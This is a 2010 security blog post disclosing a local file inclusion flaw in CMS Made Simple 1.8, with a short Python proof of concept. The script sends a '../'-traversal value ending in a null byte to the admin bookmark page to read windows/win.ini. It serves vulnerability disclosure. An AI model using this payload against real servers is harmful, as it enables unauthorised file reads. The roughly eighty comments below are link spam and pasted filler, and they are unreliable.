This site is soon to be deprecated by http://www.johnleitch.net

Sunday, July 11, 2010

CMS Made Simple 1.8 Local File Inclusion

A local file inclusion vulnerability in CMS Made Simple 1.8 can be exploited to include arbitrary files.

PoC
import httplib, urllib

host = 'localhost'
path = '/cmsms'

lfi = '../' * 32 + 'windows/win.ini\x00'

c = httplib.HTTPConnection(host)
c.request('POST', path + '/admin/addbookmark.php',
urllib.urlencode({ 'default_cms_lang': lfi }),
{ 'Content-type': 'application/x-www-form-urlencoded' })
r = c.getresponse()

print r.status, r.reason
print r.read()

95 comments:

  1. 1uniquecent.com, Bid and win Penny Auction at the most reliable Online Penny Bidding and Best Online Penny Auction Sites, offering you to Bid and save more as compared to actual market price of the products in Live Auction from USA.


    ________________________________________________
    Lowest Unique Bid | Stress Management Training

    ReplyDelete
  2. The Passages Malibu Rehab Treatment offers the types of alcohol rehabilitation or addiction treatment service that addicts need, no matter what stage of recovery patients are in. Virtually all health issues have underlying biochemical and physiological root causes or origins.

    Passages Malibu Treatment
    ultralight backpacking gear

    ReplyDelete
  3. Have you ever ached to know that God really exists? My parents believed in God and took me and my brother to church throughout the years. Even as a child, it seemed that their belief was mechanical. I never sensed a personal relationship.

    churches in fresno ca
    เบต้ากลูแคนมะโฮราคาถูก

    ReplyDelete
  4. House of Fraser Voucher Codetexan culture Subsequently the entire body of a live fetus is delivered (pulled out), except for its head which lies just inside the opening of the womb

    ReplyDelete
  5. The Passages Malibu Rehab Treatment offers the types of alcohol rehabilitation or addiction treatment service that addicts need, no matter what stage of recovery patients are in. Virtually all health issues have underlying biochemical and physiological root causes or origins.
    optical modulepaintball madrid sur

    ReplyDelete
  6. We really love your blog, i haven't seen you keeping the posts in in some time now. Is everything ok.
    Fort Worth Photographer
    enfamil baby formula

    ReplyDelete
  7. It properly. You really smart. I am very happy for it. Wish a nice day.good night.
    Kia Radiator
    acid stained concrete plano

    ReplyDelete
  8. Bid and save more as compared to actual market price of the products in Live Auction from USA.



    __________________
    sales funnelEMS Supplies

    ReplyDelete
  9. Extremely stringent quality standards give Skechers a competitive edge in the market and every reason for customers to opt for the Skechers brand. forumlinkbuilding.com reviewsweb design belfast

    ReplyDelete
  10. Some vulnerabilities have been discovered in CMS Made Simple, which can be exploited by malicious people to conduct cross-site request forgery attacks and disclose sensitive information.

    Winstrol
    Jadakiss mixtapes

    ReplyDelete
  11. I hope it's true. That's good for all. You are lovely.good night.


    Baby Forum
    roll up banner stands

    ReplyDelete
  12. Flat-Panel TVscloud computing servicesHave you ever ached to know that God really exists? My parents believed in God and took me and my brother to church throughout the years. Even as a child, it seemed that their belief was mechanical. I never sensed a personal relationship.

    ReplyDelete
  13. With a team of highly skilled and experienced professionals, we are equipped to undertake interior design projects of any size. From small scale remodeling to large-scale renovations, our focus is always on quality.

    Modern interior designer
    install windows 8 from pendrive

    ReplyDelete
  14. Hip Hop Bling has just launched a line of Authentic Casio G Shock watches with custom real diamond or simulated diamond bezels. We all remember rocking G Shocks many years ago, and now it�s back with more swag! These customized G Shock watches are the newest thing to hit the block.

    custom g shock watches
    Pink Lubricant

    ReplyDelete
  15. Furthermore, online stores are open 24 × 7 and 365 days a year, so anyone can shop any time and any where. Any person looking for fine wine qualities can choose from immense number of options on several online stores. chevy seat coversKitchen Accessories

    ReplyDelete
  16. High quality and thoughtful construction ensures your water will never come into contact with anything but stainless steel and glass. Most water distillers priced bet. $199 - $400 have a plastic boiling chamber, plastic internal dome and bottom, and polycarbonate carafe to collect the steam. Plastic and polycarbonate bottles leach toxins into the water, especially when heated.

    water distiller
    60x salvia

    ReplyDelete
  17. The Mobile Home Factory Inc. is one of Californias' trusted mobile home dealers that offers prospective homeowners a select choice of new, manufactured homes made under a controlled environment in a factory. With hundreds of models and floor plans to choose from, you can be sure that you will find a home that is exactly what you have been looking for!

    mobile home sales westminster
    vent

    ReplyDelete
  18. For finance and accountancy candidates we offer a wide selection of jobs in accountancy and finance together with unique career library and career quizzes. By subscribing to the free mailing list or registering you will gain access to our comprehensive advice library and receive our bi-monthly newsletter.

    Buy Steroids Online
    Accountancy recruitment agency

    ReplyDelete
  19. You'll find a lot of individuals who need to reach early retirement, but very few individuals actually comprehend this dream on account of a lack of retirement profits.

    send text message
    replica watches

    ReplyDelete
  20. The Passages Malibu Rehab Treatment offers the types of alcohol rehabilitation or addiction treatment service that addicts need, no matter what stage of recovery patients are in. Virtually all health issues have underlying biochemical and physiological root causes or origins.
    IT repairOakville Homes For Sale

    ReplyDelete
  21. Whether you're self-employed, a small business, family, student or an individual seeking Georgia health insurance, you've felt the pinch of rising health care costs. Rather than waste a lot of time searching the Web for the best prices and figuring out which Georgia health insurance plan is right for you, get help from a knowledgeable source that will walk you through the process and stay within your budget

    health insurance georgia
    nutritional supplements

    ReplyDelete
  22. Virtually all health issues have underlying biochemical and physiological root causes or origins.
    puky løbehjulBest Teeth Whitening Products

    ReplyDelete
  23. Yes. This information is useful for me. It useful ... Wish you a nice day.
    Box Doccia
    poncho

    ReplyDelete
  24. Ho Chi Minh City has gone by several different names during its history, reflecting settlement by different ethnic, cultural and political groups. Originally known as Prey Nokor while part of the Khmer Empire,[nb 2] it came to be dubbed Sài Gòn informally by Vietnamese settlers from the north. In the 1690s, Nguyễn Hữu Cảnh, a Vietnamese noble, was sent by the Nguyen rulers of Huế to establish Vietnamese administrative structures in the Mekong Delta and its surroundings. Control of the city and the area passed to the Vietnamese, who gave the city the official name of Gia Định (Chữ Nôm: 嘉 定).
    pet shops
    Cartier Ballon Bleu replica

    ReplyDelete
  25. There is a proven connection between prebiotics and weight loss, although they certainly aren't a miracle cure. Find out how to maximize the weight loss and other health benefits you get from these prebiotics.

    Driving games online
    custom mousepad

    ReplyDelete
  26. This comment has been removed by the author.

    ReplyDelete
  27. This comment has been removed by the author.

    ReplyDelete
  28. Best valued gifts are personalized gifts, ones like birthstones, travel, sports, weddings, mom & baby, numbers, birthdays, animal, cars,
    nautical, musical, dog, cats, trolley cars or an initial charm.

    charm jewelers
    replica breitling watches

    ReplyDelete
  29. It is important that our computers always work and respond quickly. As much as we all try not to be a slave to our technology, computers really are essential.

    computer repair washington dc
    hosting mexico

    ReplyDelete
  30. With questions concerning overseas deployment resolved, the division's respective commands were formed in May and June 1940, and the division was deployed to the United Kingdom between 1 August and 25 December 1940.


    restaurants londonInternational Merchant Account

    ReplyDelete
  31. The 2nd Canadian Infantry Division was an infantry division of the First Canadian Army, mobilized on 1 September 1939 at the onset of the Second World War.

    healthcare promotional productsThailand airfreight

    ReplyDelete
  32. Bix Beiderbecke (1903–1931) was an American jazz cornetist, jazz pianist, and composer. He was one of the most influential jazz soloists of the 1920s
    home teeth whitening kitsUebersetzung Deutsch Polnisch

    ReplyDelete
  33. Charms for Charm Bracelets, became popular more than 70 years ago. Our soldiers returning home were bringing souvenirs from the places they had been. Jewelers soon added styles of various metals, to their jewelry lines.
    hormigon pulidoQuail West real estate

    ReplyDelete
  34. that Gerrit Beneker's 1918 poster "Sure! We'll Finish the Job" (pictured) sold over three million copies?
    tapas londoncharms for charm bracelets

    ReplyDelete
  35. In 1957, the Federation of Malaya was declared as an independent federation of the Malay states on the Malay Peninsula.[24] The name "Malaysia" was adopted in 1963 when the existing states of the Federation of Malaya, plus Singapore, North Borneo and Sarawak formed a new federation,[7] with "si" being added to Malaya in honour of the three joining states.[25] Prior to that, the name itself had been used to refer to the whole Malay Archipelago.
    Madeira holiday apartments
    Wedding Photographer Surrey

    ReplyDelete
  36. Evidence of human habitation in Malaysia dates back 40,000 years,[29] with the first inhabitants thought to be Negritos.[30] Traders and settlers from India and China arrived as early as the 1st century AD, establishing trading ports and towns in the 2nd and 3rd centuries. This resulted in strong Indian and Chinese influence on the local cultures, and the people of the Malay Peninsula adopted the religions of Hinduism and Buddhism.
    claim damage
    Engine Treatment

    ReplyDelete
  37. The United Kingdom expels all Iranian diplomats from the country following an attack on its embassy in Tehran.
    Room Addition Contractorpioneer water tank

    ReplyDelete
  38. The common name was recorded from the early 19th century in the Falkland Islands. English sailors apparently named the species for its conspicuous yellow crest;[5] Maccaronism was a term for a particular style in 18th-century England marked by flamboyant or excessive ornamentation. A person who adopted this fashion was labelled a maccaroni or macaroni, as in the song "'Yankee Doodle".[6]
    Australian Yowah OpalsSporting Events

    ReplyDelete
  39. Parliament two factions had emerged—the Tories and Whigs. The former were royalists while the latter were classical liberals. Though the Tories initially supported Catholic king James II, some of them, along with the Whigs, deposed him in the Revolution of 1688 and invited Dutch prince William III to become monarch. Some English people, especially in the north, were Jacobites and continued to support James and his sons. After the parliaments of England and Scotland agreed,[67] the two countries joined in political union, to create the Kingdom of Great Britain in 1707.[61] To accommodate the union, institutions such as the law and national church of each remained separate.
    trade show displays
    decoratiefolie

    ReplyDelete
  40. gas fireplacesdentists san diego
    Jane Addams High School for Academic Careers is under investigation for allegations that the school gave students credits for multiple courses for taking a single class.

    ReplyDelete
  41. Marathon runners believe that their efforts become particularly difficult after the “35 kilometer mark,” she said, adding, “but they also say that you can get to the finish if you are conscious of the magnitude of the task from the very start.”
    Bottle Openercheap motor cycle batteries

    ReplyDelete
  42. Tens of thousands of people joined rallies around the UK on Wednesday as a public sector strike over pensions disrupted schools, hospitals and other services.

    Unions oppose plans to make members pay more and work longer to earn what they say will be smaller pensions.
    certified professional resume writersPashmina

    ReplyDelete
  43. Cool girls hoodiesArthritis Help
    “We need the euro zone to resolve their crisis. We need the countries of the euro to stand behind their currency,” George Osborne, Britain’s chancellor of the Exchequer, said

    ReplyDelete
  44. Tropical Storm Barry was a strong tropical storm that made landfall on the Florida Panhandle during August 2001. The third tropical cyclone and second named storm of the 2001 Atlantic hurricane season, Barry developed from a tropical wave that moved off the coast of Africa on July 24 and tracked westward. The wave entered the Caribbean on July 29 and spawned a low pressure area that organized into Tropical Storm Barry on August 3
    Interior Designer Miamicrochet straw hat

    ReplyDelete
  45. replica patek philippe watchesFrench Montana mixtapes
    in love with; both are now in prison for adultery. The third woman was a child of 14, who appeared to have been kidnapped but was held as a runaway and has since been returned to her family.

    ReplyDelete
  46. If it collides with a peak, then the wave height is increased and if it collides with a trough, then its height is decreased. In the diagram on the right, the two waves cancel each other out creating a flat surface however this is a highly simplified version of events. The incoming wave has the same wave period as the edge wave, so the incoming wave changes from a peak to a trough over the same period as it takes the standing wave to change so they keep the same pattern. These are known as synchronous waves and are very uncommon.
    Long Prom Dress
    philosophy blues original

    ReplyDelete
  47. Arch rivals Manchester City and Manchester United will face each other in the tie of the FA Cup third round.

    United will make the trip to Etihad Stadium looking to avenge October's 6-1 drubbing at the hands of City.

    Elsewhere, Arsenal meet Leeds, Bristol Rovers will host Aston Villa while in-form Tottenham face Cheltenham Town.
    dørgrebSugar Daddy Baby Dating

    ReplyDelete
  48. This comment has been removed by the author.

    ReplyDelete
  49. This comment has been removed by the author.

    ReplyDelete
  50. But MobileMe tried to do too much, too fast, and suffered numerous hiccups on its way to stability and utility. This time around, Apple seems to have learned from that lesson, pricing Match at a fourth of what MobileMe cost and keeping its utility far more specialized. Where MobileMe sought to mix a variety of services together into oneSugar Daddie Datingash borers
    MLS Listings Mississaugafine jewelry

    ReplyDelete
  51. This comment has been removed by the author.

    ReplyDelete
  52. For those outside the US or even Missouri, this is where +Sarah Hill of +KOMU 8 News fits in Weekdays at 4pm.
    Instore Musicclearance dog clothes

    ReplyDelete
  53. Seksdatenpest control company sunshine coast
    oogle showed off its new Paris headquarters and Karl Lagerfeld introduced an online-only fashion brand at the LeWeb technology conference last week.

    ReplyDelete
  54. This comment has been removed by the author.

    ReplyDelete
  55. This comment has been removed by the author.

    ReplyDelete
  56. This comment has been removed by the author.

    ReplyDelete
  57. synthetic potemail opt inWizardry correspond roughly to an element, such as air, water, fire and earth. JK Rowling has suggested in past interviews that the Ravenclaw house corresponds to the air element. The book series provides more physical description of the Hogwarts house more than any other of the school houses. However, the physical description of Ravenclaw does provide

    ReplyDelete
  58. This comment has been removed by the author.

    ReplyDelete
  59. oogle showed off its new Paris headquarters and Karl Lagerfeld introduced an online-only fashion brand at the LeWeb technology conference last week.Ballistische schussichere Schutzwesteantigua holiday

    ReplyDelete
  60. This comment has been removed by the author.

    ReplyDelete
  61. This comment has been removed by the author.

    ReplyDelete
  62. This comment has been removed by the author.

    ReplyDelete
  63. This comment has been removed by the author.

    ReplyDelete
  64. cursos guionIgreAssaults against Iraqi civilians and government officials had swelled in late December and January in the wake of the American troop withdrawal, as the country was gripped by a political crisis rooted in imbalances of power and festering conflicts between Iraq’s Shiite Prime Minister, Nuri Kamal al-Maliki, and his largely Sunni and secular political opposition.

    ReplyDelete
  65. This comment has been removed by the author.

    ReplyDelete
  66. slimming teadecoratiefolieIn trying to overcome the political obstacles, the Obama administration could face opposition from those who say that any concessions to Russia are not worthwhile, given the major disagreements on foreign policy, human rights and concerns about corruption, and especially because the amount of trade with Russia is small. There were slightly more than $8 billion in American exports to Russia in 2011, compared, for instance, to more than $100 billion to China.

    ReplyDelete
  67. This comment has been removed by the author.

    ReplyDelete
  68. in love with; both are now in prison for adultery. The third woman was a child of 14, who appeared to have been kidnapped but was held as a runaway and has since been returned to her family.Igre igrice
    weight loss plans

    ReplyDelete
  69. This comment has been removed by the author.

    ReplyDelete
  70. wow very good instruction, very easy to understand.
    tas branded wanita tas branded

    ReplyDelete
  71. It's not my style but it fits you
    I like the braid, looks good on you.
    concierge services brisbane

    Arginine and effects

    ReplyDelete
  72. This comment has been removed by the author.

    ReplyDelete
  73. This comment has been removed by the author.

    ReplyDelete
  74. This comment has been removed by the author.

    ReplyDelete
  75. This comment has been removed by the author.

    ReplyDelete
  76. This comment has been removed by the author.

    ReplyDelete
  77. This comment has been removed by the author.

    ReplyDelete
  78. This comment has been removed by the author.

    ReplyDelete
  79. Subsequently the entire body of a live fetus is delivered (pulled out), except for its head which lies just inside the opening of the wombsearch engine optimization consultant

    Design Dubai

    ReplyDelete
  80. I discovered your web site via Google while looking for a related subject, lucky for me your web site came up, its a great website. I have bookmarked it in my Google bookmarks. You really are a phenomenal person with a brilliant mind! phoenix az painter

    ReplyDelete
  81. Willkommen in der Falle Campingwelt! Hier finden Sie Ausrüstung, Bekleidung und Zubehör für Camping, Outdoor, Freizeit, Trekking, Wandern, Reisen.

    ReplyDelete
  82. Al-dif.com ▻BAJU MUSLIMAH │ BUTIK BUSANA MUSLIMAH │ BAJU MUSLIM │ BUTIK BUSANA MUSLIM │SEPATU WANITA │ JILBAB │ BLOUSE ...

    ReplyDelete
  83. Dimensions and specifications in the car battery might be the to begin with factor you have to check before buying new 12V car battery. Your ampere and current specifications are crucial for correct compatibility while using golfcart. The understanding and checking of individuals things will make sure that the right Deep cycle Gel Battery are bought for your golfcart.

    ReplyDelete